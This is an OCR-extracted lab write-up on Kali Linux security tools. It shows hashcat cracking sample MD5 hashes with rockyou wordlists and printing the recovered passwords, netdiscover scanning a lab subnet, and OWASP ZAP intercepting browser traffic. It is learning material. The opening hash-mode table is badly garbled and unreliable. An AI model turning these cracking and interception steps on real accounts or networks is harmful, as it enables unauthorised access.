| 0000 EGST R 34.11-2012 (Streebog) 256-bit, big-endian Raw Hash 11700 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 11800 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 10701 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 17010 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 17010 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 17010 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 17010 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 17010 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 17010 GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash 17700 Keccak-224 Raw Hash 17800 Keccak-234 Raw Hash 17900 Keccak-512 Raw Hash 18000 Keccak-512 Raw Hash 10100 SipHash Raw Hash 10100 SipHash Raw Hash 10201 Raw Hash Raw Hash 10470 sha256(utfi61e(\$pass)) Raw Hash 10470 sha284(utfi61e(\$pass)) Raw Hash 1070 sha284(utfi61e(\$pass)) Raw Hash 10870 BLAK | 600 | RIAVE26-512 | | | | |
| 11800 GOST R 34.11=2012 (Streebog) S12-bit, big-endian Raw Hash 6900 GOST R 34.11=204 Raw Hash 6900 GOST R 34.11=24/ALS-256 (SHA-1(\$pass))) Raw Hash 5100 Half MD5 Raw Hash 5100 Half MD5 Raw Hash 17700 Keccak-224 Raw Hash 17800 Keccak-256 Raw Hash 17900 Keccak-256 Raw Hash 17900 Keccak-254 Raw Hash 10900 Keccak-512 Raw Hash 10100 SipHash Raw Hash 701 md5(utf16le(\$pass)) Raw Hash 10100 SipHash Raw Hash 701 md5(utf16le(\$pass)) Raw Hash 10270 sha384(utf16le(\$pass)) Raw Hash 10470 sha384(utf16le(\$pass)) Raw Hash 1070 sha384(utf16le(\$pass)) Raw Hash 1070 sha384(utf16le(\$pass)) Raw Hash 10870 Raw Hash Raw Hash 10870 Raw Hash Raw Hash 10870 Raw Hash Raw Hash 10870 | 11700 | GOST R 36 11-2012 (Streebog) 256-bit big-endian | Raw Hash | | | |
| 6900 GOST R 34.11-94 Raw Hash 17010 GPC (AES-128/AES-256 (SHA-1(\$pass))) Raw Hash 17700 Keccak-224 Raw Hash 17700 Keccak-256 Raw Hash 17900 Keccak-384 Raw Hash 18000 Keccak-512 Raw Hash 6100 Whirlpool Raw Hash 10100 Siphash Raw Hash 701 sha256(utflole(\$pass)) Raw Hash 10100 Siphash Raw Hash 10100 Siphash Raw Hash 10100 Siphash Raw Hash 1020 sha256(utflole(\$pass)) Raw Hash 1070 sha384(utflole(\$pass)) Raw Hash 10870 sha384(utflole(\$pass)) Raw Hash 10870 sha384(utflole(\$pass)) Raw Hash 10870 sha384(utflole(\$pass)) Raw Hash 10870 sha384(utflole(\$pass)) Raw Hash salted and/or iterated 10870 sha384(utflole(\$pass)) Raw Hash salted and/or iterated 20 md5(\$salt.\$pass.\$salt) Raw Hash salted and/or iterated 20 md5(\$salt.\$ | 11800 | 60ST R 34 11-2012 (Streebog) 512-bit, big-endian | l Raw Hash | | | |
| 17010 GPG (AES-128/AES-256 (SHA-1(\$pass))) Raw Hash 5100 Half MDS Raw Hash 5100 Half MDS Raw Hash 17700 Keccak-224 Raw Hash 17800 Keccak-256 Raw Hash 17900 Keccak-256 Raw Hash 17900 Keccak-364 Raw Hash 18000 Keccak-512 Raw Hash 10100 SipHash Raw Hash 701 md5(ufi6le(\$pass)) Raw Hash 1010 SipHash Raw Hash 701 shal(ufi6le(\$pass)) Raw Hash 1020 Shal(ufi6le(\$pass)) Raw Hash 10470 shal2(ufi6le(\$pass)) Raw Hash 10470 shal3(ufi6le(\$pass)) Raw Hash 10470 shal3(ufi6le(\$pass)) Raw Hash 10470 shal4kthole(%pass) Raw Hash 10470 shal4kthole(%pass) Raw Hash 10470 shal4kthole(%pass) Raw Hash 10470 shal4kthole(%pass) Raw Hash 10500 RawEash Raw Hash 10600 RawEash <td>6900</td> <td>GOST R 34 11-94</td> <td>Raw Hash</td> <td></td> <td></td> <td></td> | 6900 | GOST R 34 11-94 | Raw Hash | | | |
| 5100 Half MD5 Raw Hash 17700 Keccak-224 Raw Hash 17800 Keccak-226 Raw Hash 17900 Keccak-384 Raw Hash 17900 Keccak-384 Raw Hash 18000 Keccak-512 Raw Hash 6100 Whirlpool Raw Hash 0100 SipHash Raw Hash 10100 SipHash Raw Hash 1020 indS(utfible(\$pass)) Raw Hash 1070 sha25(utfible(\$pass)) Raw Hash 10800 SipHash Raw Hash 1070 sha32(utfible(\$pass)) Raw Hash 10800 BLAKE2b-512(\$pass.\$salt) Raw Hash 10800 BLAKE2b-512(\$pass.\$salt) Raw Hash salted and/or iterated 20 md5(\$past.\$pass) Raw Hash salted and/or iterated 3800 md5(\$past.salt.\$pass.\$salt) Raw Hash salted and/or iterated 3710 <td>17010</td> <td>GPG (AES-128/AES-256 (SHA-1(\$pass)))</td> <td>Raw Hash</td> <td></td> <td></td> <td></td> | 17010 | GPG (AES-128/AES-256 (SHA-1(\$pass))) | Raw Hash | | | |
| 17700 Keccak-224 Raw Hash 17800 Keccak-256 Raw Hash 17900 Keccak-364 Raw Hash 18000 Keccak-324 Raw Hash 19000 Keccak-324 Raw Hash 10100 SipHash Raw Hash 10100 SipHash Raw Hash 10100 SipHash Raw Hash 10100 SipHash Raw Hash 1070 sha1(utf16le(\$pass)) Raw Hash 1070 sha256(utf16le(\$pass)) Raw Hash 10870 sha384(utf16le(\$pass)) Raw Hash salted and/or iterated 620 BLAKE2b-512(\$past.\$salt.\$pass) Raw Hash salted and/or iterated 10 md5(\$salt.\$pass,\$salt) Raw Hash salted and/or iterated 20 md5(\$salt.\$pass,\$salt) Raw Hash salted and/or iterated 3800 md5(\$salt.\$pass,\$salt) Raw Hash salted and/or iterated | 5100 | Half MD5 | Raw Hash | | | |
| 17800 Keccak-256 Raw Hash 17900 Keccak-384 Raw Hash 18000 Keccak-312 Raw Hash 6100 Whirlpool Raw Hash 70 md5(uffi6le(\$pass)) Raw Hash 70 md5(uffi6le(\$pass)) Raw Hash 70 sha1(uff16le(\$pass)) Raw Hash 1470 sha256(uff16le(\$pass)) Raw Hash 1600 BLAKE2b-512(\$pass.\$salt) Raw Hash 1600 BLAKE2b-512(\$pass.\$salt) Raw Hash 170 sha324(uff16le(\$pass.\$salt) Raw Hash 1010 BLAKE2b-512(\$pass.\$salt) Raw Hash salted and/or iterated 101 md5(\$salt.\$pass.\$salt) Raw Hash salted and/or iterated 20 md5(\$salt.\$pass.\$salt) Raw Hash salted and/or iterated 3701 md5(\$salt.md5(\$pass.\$salt)) Raw Hash salted and/or iterated 3710 md5(\$salt.md5(\$pass.\$salt)) Raw Hash salted and/or iterated 3710 md5(\$salt.md5(\$pass.\$salt)) Raw Hash salted and/or iterated 4010 md5(\$salt.md5(\$pass.\$salt)) Raw Hash salted and/or iterated 3710 md5(\$salt.md5(\$pass.\$salt)) Raw Ha | 17700 | Keccak-224 | Raw Hash | | | |
| 17900 Keccak-384 Raw Hash 18000 Keccak-312 Raw Hash 6100 Whirlpool Raw Hash 10100 SipHash Raw Hash 10100 SipHash Raw Hash 170 sha12(utf16le(\$pass)) Raw Hash 170 sha25(utf16le(\$pass)) Raw Hash 18070 sha256(utf16le(\$pass)) Raw Hash 10870 sha38(utf16le(\$pass)) Raw Hash 10870 sha312(utf16le(\$pass)) Raw Hash salted and/or iterated 620 BLAKE2D-512(\$past.\$past) Raw Hash salted and/or iterated 10 md5(\$past.\$pass.\$salt) Raw Hash salted and/or iterated 20 md5(\$salt.\$pass.\$salt) Raw Hash salted and/or iterated 3700 md5(\$salt.md5(\$pass.\$salt)) Raw Hash salted and/or iterated 410 md5(\$salt.md5(\$pass.\$salt)) Raw Hash salted and/or iterated </td <td>17800</td> <td>Keccak-256</td> <td>Raw Hash</td> <td></td> <td></td> <td></td> | 17800 | Keccak-256 | Raw Hash | | | |
| 18000 Keccak-512 Raw Hash 61001 Whirlpool Raw Hash 10100 SipHash Raw Hash 701 mdS(uff16le(\$pass)) Raw Hash 1701 sha1(uff16le(\$pass)) Raw Hash 1701 sha26(uff16le(\$pass)) Raw Hash 1707 sha286(uff16le(\$pass)) Raw Hash 1470 sha384(uff16le(\$pass)) Raw Hash 16070 sha384(uff16le(\$pass)) Raw Hash 1777 sha384(uff16le(\$pass)) Raw Hash 16070 BLAKE2b-512(\$pass.\$salt) Raw Hash salted and/or iterated 600 BLAKE2b-512(\$pass.\$salt) Raw Hash salted and/or iterated 00 md5(\$pass.\$salt) Raw Hash salted and/or iterated 20 md5(\$pass.\$salt) Raw Hash salted and/or iterated 3700 md5(\$pass.\$salt) Raw Hash salted and/or iterated 3700 md5(\$pass.\$salt) Raw Hash salted and/or iterated 410 md5(\$pass.\$salt) Raw Hash salted and/or iterated 4110 md5(\$pass.\$salt) Raw Hash salted and/or iterated 410 md5(\$pass.\$salt) Raw Hash salted and/or iterated | 17900 | Keccak-384 | Raw Hash | | | |
| 6100 Whirlpool Raw Hash 10100 \$SipHash Raw Hash 70 mdS(utf16le(\$pass)) Raw Hash 170 sha126(utf16le(\$pass)) Raw Hash 1470 sha256(utf16le(\$pass)) Raw Hash 108070 sha256(utf16le(\$pass)) Raw Hash 10870 sha256(utf16le(\$pass)) Raw Hash 10870 sha384(utf16le(\$pass)) Raw Hash 10870 sha384(utf16le(\$pass)) Raw Hash 10870 sha384(utf16le(\$pass)) Raw Hash 10870 sha384(utf16le(\$pass)) Raw Hash 1080 BLAKE2b-512(\$pass.\$salt) Raw Hash salted and/or iterated 600 BLAKE2b-512(\$pass.\$salt) Raw Hash salted and/or iterated 10 md5(\$pass.\$salt) Raw Hash salted and/or iterated 20 md5(\$pass.\$salt) Raw Hash salted and/or iterated 3800 md5(\$pass.\$salt) Raw Hash salted and/or iterated 3710 md5(\$pass.\$salt) Raw Hash salted and/or iterated 4110 md5(\$pass.\$salt.\$pass)) Raw Hash salted and/or iterated 4100 md5(\$salt.spass)) Raw Hash salted and/or iterated< | 18000 | Keccak-512 | Raw Hash | | | |
| 10100 SipHash Raw Hash 70 mdS(utfible(\$pass)) Raw Hash 170 sha1(utfible(\$pass)) Raw Hash 1470 sha256(utfible(\$pass)) Raw Hash 1470 sha256(utfible(\$pass)) Raw Hash 1470 sha256(utfible(\$pass)) Raw Hash 10870 sha384(utfible(\$pass)) Raw Hash 1077 sha384(utfible(\$pass)) Raw Hash 1070 sha384(utfible(\$pass)) Raw Hash 1070 sha384(utfible(\$pass)) Raw Hash 10870 sha384(utfible(\$pass)) Raw Hash 108 l RAKE2b-512(\$salt.\$pass) Raw Hash salted and/or iterated 20 md5(\$salt.\$pass, \$salt) Raw Hash salted and/or iterated 3800 md5(\$salt.\$pass, \$salt) Raw Hash salted and/or iterated 3710 md5(\$salt.\$pass, \$salt) Raw Hash salted and/or iterated 4110 md5(\$salt.md5(\$pass, \$salt)) Raw Hash salted and/or iterated 4110 md5(\$salt.md5(\$salt.\$pass)) Raw Hash salted and/or iterated 41300 md5(\$salt.tuf5(salt.\$pass)) Raw Hash salted and/or iterated | 6100 | Whirlpool | Raw Hash | | | |
| 70 md5(utf16le(\$pass)) Raw Hash 170 sha1(utf16le(\$pass)) Raw Hash 1470 sha256(utf16le(\$pass)) Raw Hash 10870 sha384(utf16le(\$pass)) Raw Hash 10870 sha384(utf16le(\$pass)) Raw Hash 10870 sha384(utf16le(\$pass)) Raw Hash 1170 sha512(utf16le(\$pass)) Raw Hash 610 BLAKE2b-512(\$pass.\$salt) Raw Hash salted and/or iterated 620 BLAKE2b-512(\$pass.\$salt) Raw Hash salted and/or iterated 10 md5(\$pass.\$salt) Raw Hash salted and/or iterated 20 md5(\$pass.\$salt) Raw Hash salted and/or iterated 3800 md5(\$pass.\$salt) Raw Hash salted and/or iterated 3710 md5(\$pass.\$salt) Raw Hash salted and/or iterated 4110 md5(\$pass.\$salt) Raw Hash salted and/or iterated 4100 md5(\$salt.md5(\$pass.\$salt)) Raw Hash salted and/or iterated 4100 md5(\$salt.md5(\$pass.)) Raw Hash salted and/or iterated 4100 md5(\$salt.md5(\$pass.)) Raw Hash salted and/or iterated 4100 md5(\$salt.md5(\$pass.)) Raw Ha | 10100 | SipHasha the Wornlict | Raw Hash | | | |
| 170 sha1(utf16le(\$pass)) Raw Hash 1470 sha256(utf16le(\$pass)) Raw Hash 10870 sha256(utf16le(\$pass)) Raw Hash 1770 sha256(utf16le(\$pass)) Raw Hash 1770 sha512(utf16le(\$pass)) Raw Hash 1770 sha512(utf16le(\$pass)) Raw Hash 610 BLAKE2b-512(\$pass.\$salt) Raw Hash salted and/or iterated 620 BLAKE2b-512(\$pass.\$salt) Raw Hash salted and/or iterated 01 md5(\$pass.\$salt) Raw Hash salted and/or iterated 20 md5(\$salt.\$pass.\$salt) Raw Hash salted and/or iterated 3800 md5(\$salt.\$pass.\$salt) Raw Hash salted and/or iterated 3710 md5(\$salt.md5(\$pass.\$salt)) Raw Hash salted and/or iterated 4110 md5(\$salt.spass.) Raw Hash salted and/or iterated 4101 md5(\$salt.spass.)) Raw Hash salted and/or iterated 4101 md5(\$salt.spass.)) Raw Hash salted and/or iterated 4101 md5(\$salt.spass.)) Raw Hash salted and/or iterated 4100 md5(\$salt.spass.)) Raw Hash salted and/or iterated 4100 md5(\$salt.spass.)) Raw Hash salted | 70 | md5(utf16le(\$pass)) | Raw Hash | | | |
| 1470 isha256(utfile(\$pass)) Image: Amage: Amag | 170 | sha1(utf16le(\$pass)) | Raw Hash | | | |
| 10870 isha334(utfible(\$pass)) I Raw Hash 1770 isha32(utfible(\$pass)) Raw Hash 610 BLAKE2b-512(\$pass.\$salt) I Raw Hash salted and/or iterated 620 BLAKE2b-512(\$pass.\$salt) I Raw Hash salted and/or iterated 10 md5(\$pass.\$salt) I Raw Hash salted and/or iterated 20 md5(\$pass.\$salt) I Raw Hash salted and/or iterated 3800 md5(\$pass.\$salt) I Raw Hash salted and/or iterated 3701 md5(\$pass.\$salt) I Raw Hash salted and/or iterated 3710 md5(\$pass.\$salt) I Raw Hash salted and/or iterated 4110 md5(\$pass.\$salt) I Raw Hash salted and/or iterated 4100 md5(\$salt.md5(\$pass.\$salt)) I Raw Hash salted and/or iterated 4100 md5(\$salt.md5(\$pass.)) I Raw Hash salted and/or iterated 400 md5(\$salt.md5(\$pass.)) I Raw Hash salted and | 1470 | sha256(utf16le(\$pass)) | Raw Hash | | | |
| 1770 isha512(utfile(spass)) I Raw Hash 610 BLAKE2b-512(\$pass, \$salt) Raw Hash salted and/or iterated 620 BLAKE2b-512(\$salt,\$pass) I Raw Hash salted and/or iterated 10 Imd5(\$pass,\$salt) Raw Hash salted and/or iterated 20 Imd5(\$pass,\$salt) I Raw Hash salted and/or iterated 3800 Imd5(\$pass,\$salt) I Raw Hash salted and/or iterated 3100 Imd5(\$pass,\$salt) I Raw Hash salted and/or iterated 3200 Imd5(\$pass,\$salt) I Raw Hash salted and/or iterated 4110 Imd5(\$pass,\$salt)) I Raw Hash salted and/or iterated 4100 Imd5(\$salt,\$pass,\$salt)) I Raw Hash salted and/or iterated 4100 Imd5(\$salt,\$pass,\$salt,\$pass,\$) I Raw Hash salted and/or iterated 400 Imd5(\$salt,\$pass | 10870 | sha384(utf16le(\$pass)) | Raw Hash | | | |
| b10 BLAKE2D-512(\$palts.\$pass) I Raw Hash salted and/or iterated b20 BLAKE2D-512(\$salt.\$pass) Raw Hash salted and/or iterated 10 md5(\$pass.\$salt) Raw Hash salted and/or iterated 20 md5(\$salt.\$pass) Raw Hash salted and/or iterated 3800 md5(\$salt.\$pass.\$salt) I Raw Hash salted and/or iterated 3710 md5(\$salt.md5(\$pass.\$salt)) I Raw Hash salted and/or iterated 4110 md5(\$salt.md5(\$pass.\$salt)) I Raw Hash salted and/or iterated 4010 md5(\$salt.\$pass.\$salt.\$pass.\$) I Raw Hash salted and/or iterated 21300 md5(\$salt.und5(\$pass.)) I Raw Hash salted and/or iterated 400 md5(\$salt.und5(\$pass.)) I Raw Hash salted and/or iterated 4100 md5(\$salt.und5(\$pass.)) I Raw Hash salted and/or iterated 4100 md5(\$salt.und5(\$pass.)) I Raw Hash salted and/or iterated 400 md5(\$salt.und5(\$pass.)) I Raw Hash salted and/or iterated 410 md5(\$salt.und5(\$pass.)) I Raw Hash salted and/or iterated 40 md5(\$salt.und5(\$pass.)) I Raw Hash salted and/or iterated 40 md5(\$salt.und5(\$pass.)) I Raw Hash salted and/or iterated <td>1770</td> <td> sha512(utf16le(\$pass))</td> <td>l Raw Hash</td> <td></td> <td></td> <td></td> | 1770 | sha512(utf16le(\$pass)) | l Raw Hash | | | |
| 0/0 FLAKE2D-512(\$\$alt.\$pass) I Raw Hash salted and/or iterated 10 md5(\$pass.\$\$salt) I Raw Hash salted and/or iterated 20 md5(\$past.\$pass) I Raw Hash salted and/or iterated 3800 md5(\$salt.\$pass) I Raw Hash salted and/or iterated 3710 md5(\$salt.md5(\$pass.)) I Raw Hash salted and/or iterated 4110 md5(\$salt.\$pass.) I Raw Hash salted and/or iterated 4010 md5(\$salt.\$pass.)) I Raw Hash salted and/or iterated 21300 md5(\$salt.\$pass.)) I Raw Hash salted and/or iterated 4010 md5(\$salt.\$pass.)) I Raw Hash salted and/or iterated 410 md5(\$salt.\$pass.)) I Raw Hash salted and/or iterated 410 md5(\$salt.\$pass.)) I Raw Hash salted and/or iterated 400 md5(\$salt.tspass.)) I Raw Hash salted and/or iterated 40 md5(\$salt.tspass.) I Raw Hash salted and/or iterated 40 md5(\$salt.tspass.) I Raw Hash salted and/or iterated 40 md5(\$salt.tspass.) I Raw Hash salted and/or iterated | 610 | BLAKE2b-512(\$pass.\$salt) | Raw Hash salted and/or iterated | | | |
| 10 mdS(spass.ssat) I kaw Hash salted and/or iterated 20 mdS(spass.spast) Raw Hash salted and/or iterated 3800 mdS(ssalt.spass.ssalt) Raw Hash salted and/or iterated 3710 mdS(ssalt.mdS(spass)) Raw Hash salted and/or iterated 4110 mdS(ssalt.mdS(spass.ssalt)) Raw Hash salted and/or iterated 4010 mdS(ssalt.spass)) I kaw Hash salted and/or iterated 21300 mdS(ssalt.spass)) I kaw Hash salted and/or iterated 4010 mdS(ssalt.spass)) I kaw Hash salted and/or iterated 21300 mdS(ssalt.spass)) I kaw Hash salted and/or iterated 40 mdS(ssalt.utf16(spass)) I kaw Hash salted and/or iterated 40 mdS(ssalt.utf16(spass)) I kaw Hash salted and/or iterated | 620 | BLAKE2D-512(\$salt.\$pass) | Raw Hash salted and/or iterated | | | |
| 20 md5(ssalt.spass) i Raw Hash salted and/or iterated 3800 md5(ssalt.md5(kpass)) i Raw Hash salted and/or iterated 3710 md5(ssalt.md5(kpass)) i Raw Hash salted and/or iterated 4110 md5(ssalt.md5(kpass)) i Raw Hash salted and/or iterated 4010 md5(ssalt.md5(kpass)) i Raw Hash salted and/or iterated 4010 md5(ssalt.md5(kpass)) i Raw Hash salted and/or iterated 21300 md5(ssalt.spass)) i Raw Hash salted and/or iterated 40 md5(ssalt.utf16(kpass)) i Raw Hash salted and/or iterated 40 md5(ssalt.utf16(kpass)) i Raw Hash salted and/or iterated | 10 | md5(\$pass.\$salt) | Raw Hash salted and/or iterated | | | |
| 3710 md5(\$salt.md5(\$pass.)salt) I Raw Hash salted and/or iterated 4110 md5(\$salt.md5(\$pass.)salt)) I Raw Hash salted and/or iterated 4010 md5(\$salt.sha1(\$spass)) I Raw Hash salted and/or iterated 21300 md5(\$salt.sha1(\$spass)) I Raw Hash salted and/or iterated 4010 md5(\$salt.sha1(\$spass)) I Raw Hash salted and/or iterated 21300 md5(\$salt.sha1(\$spass)) I Raw Hash salted and/or iterated 40 md5(\$salt.sha1(\$spass)) I Raw Hash salted and/or iterated | 20 | md5(\$calt \$pace \$calt) | Raw Hash salted and/or iterated | | | |
| 4110 md5(\$salt.md5(\$pss5.\$salt)) Raw Hash salted and/or iterated 4010 md5(\$salt.spass)) Raw Hash salted and/or iterated 21300 md5(\$salt.spass)) Raw Hash salted and/or iterated 40 md5(\$salt.spass)) Raw Hash salted and/or iterated 40 md5(\$salt.spass)) Raw Hash salted and/or iterated 40 md5(\$salt.spass)) Raw Hash salted and/or iterated | 3710 | md5(\$calt_md5(\$nacc)) | Raw Hash salted and/or iterated | | | |
| 4010 md5(\$salt.\$pass)) I Raw Hash salted and/or iterated 21300 md5(\$salt.sha1(\$pass)) I Raw Hash salted and/or iterated 40 md5(\$salt.utf16le(\$pass)) I Raw Hash salted and/or iterated | 4110 | md5(\$salt_md5(\$pass)) | Raw Hash salted and/or iterated | | | |
| 21300 md5(\$salt.sha1(\$salt.\$pass)) Raw Hash salted and/or iterated 40 md5(\$salt.utf16le(\$pass)) Raw Hash salted and/or iterated | 4010 | md5(\$salt_md5(\$salt_\$nass)) | Raw Hash salted and/or iterated | | | |
| 40 md5(\$salt.utf16le(\$pass)) Raw Hash salted and/or iterated | 21300 | md5(\$salt_sha1(\$salt_\$nass)) | Raw Hash salted and/or iterated | | | |
| | 40 | md5(\$salt.utf16le(\$pass)) | Raw Hash salted and/or iterated | | | |



Here we try to make an MD5 password hash by echoing some plaintext password and piping it into the md5sum tool in kali linux. This hashes will then be cracked using hascat and the output sent to a cracked.txt file.

Note: Some issues can be encountered from trying to crack an hash via a virtual machine due to the low resources(CPU,GPU) assigned to the VM.

So for effiecient cracking, i used my main PC.

| | | /bin/bash | | |
|--|--|--|---|---|
| ₽ | 1 | bin/bash 169×20 | | |
| <pre>\$hashcat -m 0 -a 0 hashcat (v4.0.1) starting</pre> | -[~/Desktop] -o cracked.txt target_hashes.txt/Documents/SecLists-ma ig | | | |
| OpenCL Platform #1: The | | | | |
| * Device #1: pthread-Int | tel(R) Core(TM) 15-4300M CPU @ 2.60GHz, 4096/13892 MB allo | | | |
| Hashfile 'target_hashes. Hashfile 'target_hashes Hashfile 'target_hashes Hashfile 'target_hashes Hashfile 'target_hashes Hashfile 'target_hashes. Hashes: 1 digests; 1 un Bitmaps: 16 bits, 65536 Rules: 1 | <pre>txt' on line 1 (5f4dcc3b5aa765d61d8327deb882cf99): Line txt' on line 2 (8b1a9953c4611296a827abf8c47804d7): Line txt' on line 3 (958152288f2d2303ae045cffc43a02cd): Line txt' on line 4 (2c9341ca4cf3d87b9e4eb905d6a3ec45): Line txt' on line 4 (2c9341ca4cf3d87b9e4eb905d6a3ec45): Line txt' on line 5 (75b71aa6842e450f12aca00fdf54c51d): Line txt' on line 6 (031cbcccd3ba6bd4d1556330995b8d88): Line txt' on line 7 (becd57447ec6b2582830b4bd0f6d2864): Line tque digests, 1 unique salts entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates</pre> | length exception length exception length exception length exception length exception length exception length exception | | |
| Applicable optimizers: | | | | |
| IF. | /bin/bash 83×20 | H. | /bin/bash 83×20 | _ |
| Scat rockyou | Jocuments/Seclists-Master/Passwords/Leaked-Databases | -K,Keep | keep (don't delete) input files | |
| rockyou-05.txt | rockyou-50.txt | -Llicense | display software license | |
| rockyou-10.txt | rockyou-55.txt | -nno-name | do not save or restore the original name and time stamp | |
| rockyou-15.txt | rockyou-60.txt | -Nname | save or restore the original name and time stamp | |
| rockyou-20.txt | rockyou-65.txt | -gguiet | suppress all warnings | |
| rockyou-25.txt | rockyou-70.txt | -rrecursive | operate recursively on directories | |
| rockyou-30.txt | rockyou-75.txt | -Ssuffix=SUF | use suffix SUF on compressed files | |
| rockvou-35.txt | rockvou.txt.tar | -ttest | test compressed file integrity | |
| rockyou-40.txt | rockyou-withcount.txt.tar.gz | -v,verbose | verbose mode | |
| rockyou-45.txt | | -V,version | display version number | |
| [innocent@Hayley]-[~/[| | -1,fast | | |
| \$cat rockyou-75.txt | | -9,best | compress better | |
| | | rsyncable | Make rsync-friendly archive | |
| [innocent@Hayley]-[~/[\$] | | With no FILE, or wh | | |
| | | Report bugs to <bug innocent@Hayley</bug | g- gzip@gnu.org ≻. -[~/Desktop] | |



After successfully using a dictionary file against the md5 hash, the output will be saved to a cracked.txt file.

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|---|--|-----|-------------------|-------------------|--|---------------------|----------------|
| | | | int-complete docx | nnocent@Hayley: ~ | | | 008 |
| (innocent© Hayley)-[~] \$ cat cracked.txt 5f4dcc3b5aa765d61d8327deb882cf99:pass 8b1a9953cc4611296a827abf8c47804d7:Hell 958152288f2d2303ae045cffc43a02cd:WYSE 2c9341ca4cf3d87b994eb905d6a3ec45:Test 75b71aa6842e459f12aca00eff54c5d1d:P455 031cbcccd3ba6bd4d1556330995b8d08:Gues becd57447ec6b2582830b4bd0f6d2864:53Cu - (innocent© Hayley)-[~] | word o CRET 1234 w0rd sMe R3P455Word | | | | | | |
| Home: 2249_2_10 | | | | | | | |
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|--|--|---|
| | innocent@Hayley: ~ | 008 |
| Currently scanning: Finished! Screen View: | Jnique Hosts | |
| 3 Captured ARP Req/Rep packets, from 3 hosts. T | otal size: 180 | |
| IP At MAC Address Count Len | MAC Vendor / Hostname | |
| 192.168.155.1 00:50:56:c0:00:08 1 60 192.168.155.2 00:50:56:c8:77:7b 1 60 192.168.155.254 00:50:56:c6:fb:d8 1 60 | VMware, Inc. VMware, Inc. VMware, Inc. | |
| (innocent® Hayley)-[~] _\$ <u>sudo</u> netdiscover −i eth0 −r 192.168.155.130 | | t" Energien mind annan () Subschlee ZeroLogen Attack 130 × |
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Netdiscover is a network reconnaissance tool used for passive network discovery. It scans a local network to identify live hosts, their IP addresses, MAC addresses, and associated manufacturers. Netdiscover aids in mapping and understanding the network topology, helping security professionals in network monitoring, troubleshooting, and identifying potential security risks.

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|---|---|
| OWASP ZAP 2.12.0 | |
| ZAP Tips and Tricks: | |
| POST requests have a 'right click' menu for generating an anti CSRF test form. | |
| INFO: Initializing Auto-Conc Extension - nanoes and cross site request longery (Conc) tokens INFO: Initializing Authentication Extension - Authentication Extension INFO: Loaded authentication method types: [Form-based Authentication, HTTP/NTLM Authentication, Manual Authentication, Script-b n] INFO: Initializing Log4j Extension - Logs errors to the Output tab in development mode only INFO: Initializing Users Extension - Users Extension INFO: Initializing Parameters Extension - Summarise and analyse FORM and URL parameters as well as cookies INFO: Initializing Script Extension - Script integration INFO: Initializing ExtensionScripts - Scripting console, supports all JSR 223 scripting languages | ased Authentication, JSON-based Authenticatio |

ZAP (Zed Attack Proxy) is a popular dynamic web application security scanner on kali linux. It is designed for detecting vulnerabilities in web applications through active scanning and security testing. ZAP helps identify common security issues such as cross-site scripting (XSS), SQL injection, and insecure configurations. It also provides features for manual security testing, intercepting and modifying HTTP traffic, and generating reports to aid in securing web applications.



Since ZAP is an alternative to the popular burpsuite, It is also a proxy tool and can be used to intercept Web request. But before that, a local proxy host and port needs to be set. In the above picture, a port of '8080' was used which means in the browser network settings, a proxy host and port with exact values will be set to intercept the request from the browser to the ZAP proxy.



Unfortunately due to security reasons, our request was seen as malicious by the browser when trying to intercept. In this case we need to prove the legitimacy of our proxy interceptor so it doesn't seem like a MITM attack. We will install the ZAP CA certificate in the browser.



Certificates => Import and import the newly downloaded Root CA

Finally after our certificate is saved to our local disk and has been import into the browser CA Authorities, We can now intercept our request without any futher interruptions.

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| Property Property Property Property Property Property | R Alerts | 1 Output | | | | | | | | | |
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| ld Source Req. | Timestamp | Method | | Code | Reason | RTT | Size Resp. Body | Highest Alert | Note | Тас | js 🛱 |
| 12 ↔ Proxy 6/8/23, 9 ↔ Proxy 6/8/23, 48 ↔ Proxy 6/8/23, 40 ↔ Proxy 6/8/23, | 8:23:04 AM 8:23:01 AM 8:23:44 AM 8:23:34 AM | POST POST GET GET | https://www.google.com/gen_204?s=web&t https://www.google.com/xjs/_js/k=xjs.s.en https://www.google.com/xjs/_js/k=xjs.s.en | 204 204 200 200 | No Content No Content OK OK | 18 1 1 22 | 0 bytes 0 bytes 984,829 bytes 3,466 bytes | 🏴 Medium 🏴 Low | | Script | |
| 28 ⇔ Proxy 6/8/23, | 8:23:23 AM | GET | https://www.google.com/xjs/_/js/k=xjs.s.en | 200 | OK | 1 | 663,251 bytes | P Low | | Script, Cor | nment |
| 21 👄 Proxy 6/8/23, | 8:23:09 AM | GET | https://www.google.com/xjs/_/js/md=1/k=xj | 200 | OK | 2 | 152,984 bytes | | | 10 10 10 10 10 10 10 10 10 10 10 10 10 1 | |
| 54 ↔ Proxy 6/8/23, 57 ↔ Proxy 6/8/23, 69 ↔ Proxy 6/8/23, 72 ↔ Proxy 6/8/23, | 8:23:54 AM 8:23:58 AM 8:24:14 AM 8:24:15 AM | GET GET POST POST | https://www.youtube.com/embed/?enablejsa https://www.youtube.com/s/player/b128dda https://www.youtube.com/youtubei/v1/log_e https://www.youtube.com/youtubei/v1/log_e | 200 200 200 200 | OK OK OK | 74 97 50 | 43,035 bytes 313,339 bytes 28 bytes 28 bytes | P Medium | | Script, Cor | nment |
| 78 ⇔ Proxy 6/8/23, | 8:24:26 AM | POST | https://www.youtube.com/youtubei/v1/log e | 200 | OK | 83 | 28 bytes | P Low | | JSON | |
| Alerts 🕫 0 🕫 5 🕫 7 🅫 7 | Main Proxy: 1 | 127.0.0.1 | 8080 | | | | Ourrent Scans | 0 🖗 8 👁 0 | 0 6 (| 0 🔨 0 🧿 | ₩0 ₩0 |